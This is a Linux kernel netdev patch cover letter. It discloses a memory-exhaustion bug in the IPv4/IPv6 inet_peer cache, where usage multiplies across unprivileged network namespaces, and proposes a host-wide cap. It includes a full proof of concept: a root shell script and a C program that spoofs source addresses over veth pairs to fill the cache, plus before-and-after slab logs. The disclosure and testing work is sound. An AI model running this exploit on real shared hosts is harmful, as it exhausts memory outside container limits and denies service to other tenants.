From: Ren Wei <weir@nebusec.ai>
To: netdev@vger.kernel.org
Cc: dsahern@kernel.org, idosch@nvidia.com, davem@davemloft.net,
edumazet@kernel.org, kuba@kernel.org, pabeni@redhat.com,
willemb@google.com, horms@kernel.org, vega@nebusec.ai,
caoruide123@gmail.com, weir@nebusec.ai
Subject: [PATCH net 0/1] inetpeer: bound the peer cache across network namespaces
Date: Wed, 2 Dec 2026 14:08:58 +0800 [thread overview]
Message-ID: <cover.1795767225.git.caoruide123@gmail.com> (raw)
From: Ruide Cao <caoruide123@gmail.com>
Hi Linux kernel maintainers,
We found an issue in net/ipv4/inetpeer.c.
This bug is tracked at: https://bugtracker.nebusec.ai/f/11571
inet_peer_threshold is sized at roughly 1% of host physical memory. But
the threshold is applied to each inet_peer_base on its own. Every
network namespace has separate IPv4 and IPv6 bases. The global peer
slab lacks SLAB_ACCOUNT, and allocations use GFP_ATOMIC without
__GFP_ACCOUNT. So these objects are not charged to the attacker's
memory cgroup. Garbage collection only runs on a cache miss. An
attacker can quickly fill each base to just below the threshold. If
the namespaces stay alive, all entries stay too, and no more GC runs.
Creating and filling many user/network namespaces makes peer-cache
memory grow linearly with the number of namespaces. This memory is
outside container memory limits.
Privilege model: root (or CAP_SYS_ADMIN) is only used to lower
`inet_peer_threshold` for a quick demo and to start the workers. The
trigger itself runs as an unprivileged worker under `unshare -Urn` (as
`test_user` in the reproducer below).
This change only adds a host-wide peer-cache bound and SLAB_ACCOUNT. It
does not affect other networking features.
The host-wide bound was lost in commit 4b9d9be839fd ("inetpeer: remove
unused list"). That commit dropped compute_total() and switched to a
per-base GC threshold. Later, commit c8a627ed06d6 ("inetpeer: add
namespace support for inetpeer") moved those trees into each network
namespace. This multiplied the same budget.
This is not a reply to Eric Dumazet's August 2026 thread and not a
resend of that patch. His patch would have capped each inet_peer_base
at twice inet_peer_threshold, and he later dropped it. A per-base cap
would not bound the host-wide total across namespaces. This series
replaces that withdrawn attempt with a single host-wide counter. The
SipHash change from that series, 2ee66e948717, is already upstream. It
randomizes lookup and eviction. It does not provide a host-wide bound
across namespaces.
Link: https://lore.kernel.org/netdev/20260812205946.356185-2-edumazet@google.com/
Tested: in 2 GB RAM x86 QEMU, with inet_peer_threshold lowered to 5000
and 4 unprivileged namespaces of 2000 IPv4 peers each.
/sys/kernel/slab/inet_peer/objects grew to 8700 without the fix. It
stayed at 5339 with the fix (log below). packetdrill is not used. The
trigger needs inet_peer entries across many network namespaces, not a
single packet exchange.
Reproducer script, run as root. The workers drop to test_user:
#!/bin/sh
set -eu
BIN="${BIN:-./poc}"
echo "=== uname $(uname -r) ==="
THRESHOLD_SET="${THRESHOLD_SET:-5000}"
NAMESPACES="${NAMESPACES:-4}"
COUNT="${COUNT:-2000}"
HOLD="${HOLD:-20}"
FAMILY="${FAMILY:-v4}"
echo "=== default inet_peer_threshold ==="
cat /proc/sys/net/ipv4/inet_peer_threshold
echo "=== set inet_peer_threshold=$THRESHOLD_SET ==="
echo "$THRESHOLD_SET" > /proc/sys/net/ipv4/inet_peer_threshold
echo -n "threshold_now="; cat /proc/sys/net/ipv4/inet_peer_threshold
BASELINE=$(awk '{print $1}' /sys/kernel/slab/inet_peer/objects)
echo "SLAB_BASELINE objects=$BASELINE"
i=1
while [ "$i" -le "$NAMESPACES" ]; do
# root orchestrates; trigger worker runs unprivileged under unshare -Urn as test_user
su -s /bin/sh -c "exec unshare -Urn -- $BIN worker $COUNT $HOLD $FAMILY" test_user >/tmp/worker$i.log 2>&1 &
echo "started namespace $i pid=$!"
# wait for spray (TCG); poll until this worker logs slab_after or timeout
w=0
while [ "$w" -lt 40 ]; do
if grep -q 'slab_after=' /tmp/worker$i.log 2>/dev/null; then
break
fi
sleep 2
w=$((w+1))
done
OBJECTS=$(awk '{print $1}' /sys/kernel/slab/inet_peer/objects)
echo "AFTER_NS=$i objects=$OBJECTS threshold=$THRESHOLD_SET"
i=$((i + 1))
done
j=1
while [ "$j" -le 5 ]; do
OBJECTS=$(awk '{print $1}' /sys/kernel/slab/inet_peer/objects)
echo "POLL j=$j objects=$OBJECTS threshold=$(cat /proc/sys/net/ipv4/inet_peer_threshold)"
sleep 2
j=$((j+1))
done
echo "=== FINAL ==="
echo -n "threshold="; cat /proc/sys/net/ipv4/inet_peer_threshold
echo "objects=$(awk '{print $1}' /sys/kernel/slab/inet_peer/objects)"
echo "NAMESPACES=$NAMESPACES COUNT=$COUNT FAMILY=$FAMILY HOLD=$HOLD"
echo "=== SLABDONE ==="
We run the PoC in a 2 GB RAM x86 QEMU environment.
------BEGIN PoC------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>
#define VETH_RX "vethA"
#define VETH_TX "vethB"
#define RX_V4 "10.23.0.1/24"
#define TX_V4 "10.23.0.2/24"
#define RX_V4_ADDR "10.23.0.1"
#define FAKE_V4_GW "10.23.0.254"
#define SPOOF_V4_ROUTE "198.18.0.0/15"
#define RX_V6 "fd00:23::1/64"
#define TX_V6 "fd00:23::2/64"
#define RX_V6_ADDR "fd00:23::1"
#define FAKE_V6_GW "fd00:23::ffff"
#define SPOOF_V6_ROUTE "2001:db8:1::/48"
#define CLOSED_DPORT 9
static void die(const char *fmt, ...)
{
va_list ap;
va_start(ap, fmt);
vfprintf(stderr, fmt, ap);
va_end(ap);
fputc('\n', stderr);
exit(1);
}
static int run_cmd(const char *fmt, ...)
{
char cmd[1024];
va_list ap;
int ret;
va_start(ap, fmt);
vsnprintf(cmd, sizeof(cmd), fmt, ap);
va_end(ap);
ret = system(cmd);
if (ret != 0)
fprintf(stderr, "command failed (%d): %s\n", ret, cmd);
return ret;
}
static int try_read_int_file(const char *path, int *value)
{
int fd;
char buf[64];
ssize_t n;
fd = open(path, O_RDONLY);
if (fd < 0)
return -1;
n = read(fd, buf, sizeof(buf) - 1);
close(fd);
if (n < 0)
return -1;
buf[n] = '\0';
*value = atoi(buf);
return 0;
}
static void send_ipv4_udp(int sock, int ifindex,
uint32_t src_addr, uint32_t dst_addr,
uint16_t dport, const void *payload, size_t payload_len)
{
struct sockaddr_in dst = {
.sin_family = AF_INET,
.sin_port = htons(dport),
.sin_addr.s_addr = dst_addr,
};
struct in_pktinfo pktinfo = {
.ipi_ifindex = ifindex,
.ipi_spec_dst.s_addr = src_addr,
};
struct iovec iov = {
.iov_base = (void *)payload,
.iov_len = payload_len,
};
char cbuf[CMSG_SPACE(sizeof(pktinfo))];
struct msghdr msg = {
.msg_name = &dst,
.msg_namelen = sizeof(dst),
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = cbuf,
.msg_controllen = sizeof(cbuf),
};
struct cmsghdr *cmsg;
memset(cbuf, 0, sizeof(cbuf));
cmsg = CMSG_FIRSTHDR(&msg);
cmsg->cmsg_level = IPPROTO_IP;
cmsg->cmsg_type = IP_PKTINFO;
cmsg->cmsg_len = CMSG_LEN(sizeof(pktinfo));
memcpy(CMSG_DATA(cmsg), &pktinfo, sizeof(pktinfo));
if (sendmsg(sock, &msg, 0) < 0)
die("sendmsg(ipv4): %s", strerror(errno));
}
static void send_ipv6_udp(int sock, int ifindex,
const struct in6_addr *src_addr,
const struct in6_addr *dst_addr,
uint16_t dport, const void *payload, size_t payload_len)
{
struct sockaddr_in6 dst = {
.sin6_family = AF_INET6,
.sin6_port = htons(dport),
.sin6_addr = *dst_addr,
};
struct in6_pktinfo pktinfo = {
.ipi6_addr = *src_addr,
.ipi6_ifindex = ifindex,
};
struct iovec iov = {
.iov_base = (void *)payload,
.iov_len = payload_len,
};
char cbuf[CMSG_SPACE(sizeof(pktinfo))];
struct msghdr msg = {
.msg_name = &dst,
.msg_namelen = sizeof(dst),
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = cbuf,
.msg_controllen = sizeof(cbuf),
};
struct cmsghdr *cmsg;
memset(cbuf, 0, sizeof(cbuf));
cmsg = CMSG_FIRSTHDR(&msg);
cmsg->cmsg_level = IPPROTO_IPV6;
cmsg->cmsg_type = IPV6_PKTINFO;
cmsg->cmsg_len = CMSG_LEN(sizeof(pktinfo));
memcpy(CMSG_DATA(cmsg), &pktinfo, sizeof(pktinfo));
if (sendmsg(sock, &msg, 0) < 0)
die("sendmsg(ipv6): %s", strerror(errno));
}
static void setup_namespace(void)
{
if (run_cmd("ip link set lo up"))
die("failed to bring up loopback");
if (run_cmd("ip link add %s type veth peer name %s", VETH_RX, VETH_TX))
die("failed to create veth pair");
/* Some ip/busybox builds ignore peer name and call the peer veth0. */
if (!if_nametoindex(VETH_TX)) {
if (run_cmd("ip link set veth0 name %s", VETH_TX))
die("failed to rename peer to %s", VETH_TX);
}
if (run_cmd("ip addr add %s dev %s", RX_V4, VETH_RX))
die("failed to add %s to %s", RX_V4, VETH_RX);
if (run_cmd("ip addr add %s dev %s", TX_V4, VETH_TX))
die("failed to add %s to %s", TX_V4, VETH_TX);
run_cmd("ip -6 addr add %s dev %s", RX_V6, VETH_RX);
run_cmd("ip -6 addr add %s dev %s", TX_V6, VETH_TX);
if (run_cmd("ip link set %s up", VETH_RX))
die("failed to bring up %s", VETH_RX);
if (run_cmd("ip link set %s up", VETH_TX))
die("failed to bring up %s", VETH_TX);
if (run_cmd("ip route add %s via %s dev %s onlink", SPOOF_V4_ROUTE,
FAKE_V4_GW, VETH_RX))
die("failed to add IPv4 route");
run_cmd("ip -6 route add %s via %s dev %s onlink", SPOOF_V6_ROUTE,
FAKE_V6_GW, VETH_RX);
run_cmd("sysctl -qw net.ipv4.conf.all.rp_filter=0");
run_cmd("sysctl -qw net.ipv4.conf.default.rp_filter=0");
run_cmd("sysctl -qw net.ipv4.conf.%s.rp_filter=0", VETH_RX);
run_cmd("sysctl -qw net.ipv4.conf.%s.rp_filter=0", VETH_TX);
run_cmd("sysctl -qw net.ipv4.conf.all.accept_local=1");
run_cmd("sysctl -qw net.ipv4.conf.%s.accept_local=1", VETH_RX);
run_cmd("sysctl -qw net.ipv4.conf.%s.accept_local=1", VETH_TX);
run_cmd("sysctl -qw net.ipv4.icmp_msgs_per_sec=1000000");
run_cmd("sysctl -qw net.ipv4.icmp_msgs_burst=1000000");
/* keep icmp_ratelimit non-zero so icmpv4_xrlim_allow() calls inet_getpeer() */
run_cmd("sysctl -qw net.ipv4.icmp_ratelimit=1000");
run_cmd("sysctl -qw net.ipv4.ip_nonlocal_bind=1");
run_cmd("sysctl -qw net.ipv6.icmp.ratelimit=1000");
run_cmd("sysctl -qw net.ipv6.ip_nonlocal_bind=1");
}
static void fill_ipv4(int sock, int ifindex, int count)
{
uint32_t dst_addr;
uint8_t payload[8] = { 0 };
if (inet_pton(AF_INET, RX_V4_ADDR, &dst_addr) != 1)
die("inet_pton(%s)", RX_V4_ADDR);
for (int i = 1; i <= count; i++) {
uint32_t src_addr = htonl((198U << 24) | (18U << 16) | i);
memcpy(payload, &i, sizeof(i));
send_ipv4_udp(sock, ifindex, src_addr, dst_addr,
CLOSED_DPORT, payload, sizeof(payload));
}
}
static void fill_ipv6(int sock, int ifindex, int count)
{
struct in6_addr dst_addr;
uint8_t payload[8] = { 0 };
if (inet_pton(AF_INET6, RX_V6_ADDR, &dst_addr) != 1)
die("inet_pton(%s)", RX_V6_ADDR);
for (int i = 1; i <= count; i++) {
struct in6_addr src_addr = {};
src_addr.s6_addr16[0] = htons(0x2001);
src_addr.s6_addr16[1] = htons(0x0db8);
src_addr.s6_addr16[2] = htons(0x0001);
src_addr.s6_addr16[7] = htons(i);
memcpy(payload, &i, sizeof(i));
send_ipv6_udp(sock, ifindex, &src_addr, &dst_addr,
CLOSED_DPORT, payload, sizeof(payload));
}
}
static void worker_main(int count, int hold_seconds, bool do_v4, bool do_v6)
{
int sock;
int sock6;
int ifindex;
int threshold;
int slab_before = -1;
int slab_after = -1;
char path[128];
int one = 1;
setup_namespace();
ifindex = if_nametoindex(VETH_TX);
if (!ifindex)
die("if_nametoindex(%s): %s", VETH_TX, strerror(errno));
threshold = 65664;
try_read_int_file("/proc/sys/net/ipv4/inet_peer_threshold", &threshold);
snprintf(path, sizeof(path), "/sys/kernel/slab/inet_peer/objects");
try_read_int_file(path, &slab_before);
sock = socket(AF_INET, SOCK_DGRAM, 0);
if (sock < 0)
die("socket(AF_INET): %s", strerror(errno));
setsockopt(sock, IPPROTO_IP, IP_FREEBIND, &one, sizeof(one));
setsockopt(sock, IPPROTO_IP, IP_TRANSPARENT, &one, sizeof(one));
if (setsockopt(sock, SOL_SOCKET, SO_BINDTODEVICE, VETH_TX, strlen(VETH_TX) + 1) < 0)
die("SO_BINDTODEVICE(%s): %s", VETH_TX, strerror(errno));
sock6 = socket(AF_INET6, SOCK_DGRAM, 0);
if (sock6 < 0)
die("socket(AF_INET6): %s", strerror(errno));
setsockopt(sock6, IPPROTO_IPV6, IPV6_FREEBIND, &one, sizeof(one));
setsockopt(sock6, IPPROTO_IPV6, IPV6_TRANSPARENT, &one, sizeof(one));
if (setsockopt(sock6, SOL_SOCKET, SO_BINDTODEVICE, VETH_TX, strlen(VETH_TX) + 1) < 0)
die("SO_BINDTODEVICE(%s): %s", VETH_TX, strerror(errno));
if (count <= 0)
count = threshold - 1024;
if (count > 65000)
count = 65000;
fprintf(stderr, "worker pid=%d threshold=%d target_per_family=%d slab_before=%d\n",
getpid(), threshold, count, slab_before);
if (do_v4)
fill_ipv4(sock, ifindex, count);
if (do_v6)
fill_ipv6(sock6, ifindex, count);
try_read_int_file(path, &slab_after);
fprintf(stderr, "worker pid=%d slab_after=%d delta=%d\n",
getpid(), slab_after, slab_after - slab_before);
fprintf(stderr, "worker pid=%d holding namespace for %d seconds\n",
getpid(), hold_seconds);
sleep(hold_seconds);
}
static void usage(const char *prog)
{
fprintf(stderr, "usage: %s worker [count] [hold_seconds] [v4|v6|both]\n", prog);
exit(1);
}
int main(int argc, char **argv)
{
if (argc < 2)
usage(argv[0]);
if (strcmp(argv[1], "worker") == 0) {
int count = 0;
int hold_seconds = 3600;
bool do_v4 = true;
bool do_v6 = true;
if (argc >= 3)
count = atoi(argv[2]);
if (argc >= 4)
hold_seconds = atoi(argv[3]);
if (argc >= 5) {
if (strcmp(argv[4], "v4") == 0)
do_v6 = false;
else if (strcmp(argv[4], "v6") == 0)
do_v4 = false;
else if (strcmp(argv[4], "both") != 0)
usage(argv[0]);
}
worker_main(count, hold_seconds, do_v4, do_v6);
return 0;
}
usage(argv[0]);
return 1;
}
------END PoC--------
The logs below are raw console output from two boots of 2 GB RAM x86
QEMU. They show inet_peer slab growth, read from
/sys/kernel/slab/inet_peer/objects. Both runs use the same settings:
NAMESPACES=4, COUNT=2000 and FAMILY=v4. inet_peer_threshold is lowered
to 5000 for a quick multi-netns demo. The default on this guest was
65664. Root only starts the workers. Each worker runs as test_user
under unshare -Urn. The lines are verbatim. [...] marks omitted output.
With the fix, objects stopped at 5339. That is the 5000 cap plus the
300 objects already in the slab before the workers started.
Pre-fix (base-commit, no host-wide cap):
----BEGIN log----
[...]
=== uname 7.3.0-rc3 ===
=== default inet_peer_threshold ===
65664
=== set inet_peer_threshold=5000 ===
threshold_now=5000
SLAB_BASELINE objects=420
started namespace 1 pid=69
[...]
AFTER_NS=1 objects=2460 threshold=5000
started namespace 2 pid=98
[...]
AFTER_NS=2 objects=4560 threshold=5000
started namespace 3 pid=127
[...]
AFTER_NS=3 objects=6660 threshold=5000
started namespace 4 pid=156
[...]
AFTER_NS=4 objects=8700 threshold=5000
POLL j=1 objects=8700 threshold=5000
POLL j=2 objects=8700 threshold=5000
POLL j=3 objects=8700 threshold=5000
POLL j=4 objects=8700 threshold=5000
POLL j=5 objects=8700 threshold=5000
[...]
=== FINAL ===
threshold=5000
objects=8700
NAMESPACES=4 COUNT=2000 FAMILY=v4 HOLD=20
=== SLABDONE ===
[...]
-----END log-----
Post-fix (base-commit + this patch):
----BEGIN log----
[...]
=== uname 7.3.0-rc3 ===
=== default inet_peer_threshold ===
65664
=== set inet_peer_threshold=5000 ===
threshold_now=5000
SLAB_BASELINE objects=300
started namespace 1 pid=69
[...]
AFTER_NS=1 objects=2280 threshold=5000
started namespace 2 pid=98
[...]
AFTER_NS=2 objects=4319 threshold=5000
started namespace 3 pid=127
[...]
AFTER_NS=3 objects=5339 threshold=5000
started namespace 4 pid=156
[...]
AFTER_NS=4 objects=5339 threshold=5000
POLL j=1 objects=5339 threshold=5000
POLL j=2 objects=5339 threshold=5000
POLL j=3 objects=5339 threshold=5000
POLL j=4 objects=5339 threshold=5000
POLL j=5 objects=5339 threshold=5000
[...]
=== FINAL ===
threshold=5000
objects=5339
NAMESPACES=4 COUNT=2000 FAMILY=v4 HOLD=20
=== SLABDONE ===
[...]
-----END log-----
Best regards,
Ruide Cao
Ruide Cao (1):
inetpeer: bound the peer cache across network namespaces
net/ipv4/inetpeer.c | 26 +++++++++++++++++++++++---
1 file changed, 23 insertions(+), 3 deletions(-)
base-commit: 17741334d00bf5ebd37f8c1c36bc9c146a351deb
--
2.47.3
next reply other threads:[~2026-12-02 6:09 UTC|newest]
Thread overview: 3+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-12-02 6:08 Ren Wei [this message]
2026-12-02 6:08 ` [PATCH net 1/1] inetpeer: bound the peer cache across network namespaces Ren Wei
2026-12-02 6:14 ` [PATCH net 0/1] " netdev-bot+sinfo
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=cover.1795767225.git.caoruide123@gmail.com \
--to=weir@nebusec.ai \
--cc=caoruide123@gmail.com \
--cc=davem@davemloft.net \
--cc=dsahern@kernel.org \
--cc=edumazet@kernel.org \
--cc=horms@kernel.org \
--cc=idosch@nvidia.com \
--cc=kuba@kernel.org \
--cc=netdev@vger.kernel.org \
--cc=pabeni@redhat.com \
--cc=vega@nebusec.ai \
--cc=willemb@google.com \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.